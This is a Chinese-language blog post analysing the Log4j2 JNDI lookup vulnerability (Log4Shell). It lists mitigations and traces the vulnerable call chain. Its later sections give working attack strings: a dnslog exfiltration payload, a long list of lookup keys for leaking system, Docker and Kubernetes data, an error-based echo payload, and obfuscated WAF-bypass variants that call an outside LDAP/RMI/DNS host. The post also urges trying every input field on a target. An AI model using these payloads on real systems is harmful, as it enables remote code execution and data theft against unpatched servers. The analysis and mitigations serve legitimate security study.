前言

上篇分析了jndi+ldap的利用,这两天新爆出来的漏洞log4j2中,结合恶意payload可执行远程恶意代码
影响范围:Apache Log4j 2.x < 2.15.0-rc2,而且利用难度低,利用要求少
紧急缓解措施(最好升级最新版本):
(1) 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
(2) 修改配置log4j2.formatMsgNoLookups=True
(3) 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

分析

整个漏洞中所调用的函数为:

logMessage ----> logMessageSafely ----> logMessageTrackRecursion ----> tryLogMessage ----> log
----> DefaultReliabilityStrategy.log ----> loggerConfig.log ----> processLogEvent ----> callAppenders
----> tryCallAppender ----> append ----> tryAppend ----> directEncodeEvent ----> encode ----> toText ---->
toSerializable ---->format----> PatternFormatter.format

漏洞的成因是:org.apache.logging.log4j.core.pattern.MessagePatternConverter 的 format() 方法,替换了攻击者恶意的表达式
在这里插入图片描述
如果检测到$字符后跟了一个{字符,那么会对直到}中间的内容进行解析并replace

replace --> substitute --> StrSubstitutor.substitute --> resolveVariable --> Interpolator.lookup

在Interpolator.lookup方法中,首先会获取字符串的前缀值:
在这里插入图片描述
如果匹配到内置方法,那么就进入对应的处理方法,这里是 JNDI 方法,那么就会由JndiLookup类进一步处理:
在这里插入图片描述
最后触发点JndiManager.lookup
在这里插入图片描述
最终加载由攻击者传入的LDAP服务端地址,然后返回一个恶意的JNDI Reference对象,触发漏洞,实现 RCE。
流程:
日志在打印时当遇到 ${ 后,Interpolator 类以 : 号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用 lookup 方法,最后将 key 作为参数带入执行。
这里有一个外带数据的payload:
一旦发现日志中包含 ${ 就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行

${jndi:ldap://${java:os}.xxx..dnslog.cn}

可获得其他数据:

${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}
${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java:runtime}
${java:vm}
${java:os}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s:accountName}
${k8s:clusterName}
${k8s:containerId}
${k8s:containerName}
${k8s:host}
${k8s:labels.app}
${k8s:labels.podTemplateHash}
${k8s:masterUrl}
${k8s:namespaceId}
${k8s:namespaceName}
${k8s:podId}
${k8s:podIp}
${k8s:podName}
${k8s:imageId}
${k8s:imageName}
${log4j:configLocation}
${log4j:configParentLocation}
${spring:spring.application.name}
${main:myString}
${main:0}
${main:1}
${main:2}
${main:3}
${main:4}
${main:bar}
${name}
${marker}
${marker:name}
${spring:profiles.active[0]
${sys:logPath}
${web:rootDir}

多去尝试一切可能打印日志的地方,包括输入框,搜索框,账号密码登录处,id值等地方,并且log4j2已经逐渐变成了通用型,目前已知如某微,某远,VM多个产品等都受到影响

不出网回显

	JndiManager.lookup中name是protocal://host:port/path
	其中port本该是int如果给它无法转int的字符串就会抛出这里的信息
	又联想到${}是支持嵌套标签的,这里嵌入真正想要得到的结果,即可抛出执行结果

	根据这个思路,成功在Tomcat项目中回显执行结果(例如这里的${java:version})
	能够回显的Payload是这样:${jndi:ldap://x.x.x.x:${java:version}/xxx}

绕过


  ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://dnslog平台/info}
  ${${::-j}ndi:rmi://dnslog平台/info}
  ${jndi:rmi://dnslog平台}}
  ${${lower:jndi}:${lower:rmi}://dnslog平台/info}
  ${${lower:${lower:jndi}}:${lower:rmi}://dnslog平台/info}
  ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://dnslog平台/info}
  ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://dnslog平台/info}
  ${jndi:dns://dnslog平台}
参考:
https://mp.weixin.qq.com/s?__biz=MzUzNTEyMTE0Mw==&mid=2247485584&idx=1&sn=2fad11942986807ea7545f7b8b5d6af8&scene=21#wechat_redirect
https://www.cnpanda.net/sec/1114.html
https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247496255&idx=1&sn=acb66f2fd28859868892e028ac64d586&chksm=ec1dc217db6a4b018fd347ace7287631eaf3130
https://mp.weixin.qq.com/s/IxXGcpjN6KkDGPQYPJXHTA
posted on   noone52  阅读(182)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具



点击右上角即可分享
微信分享提示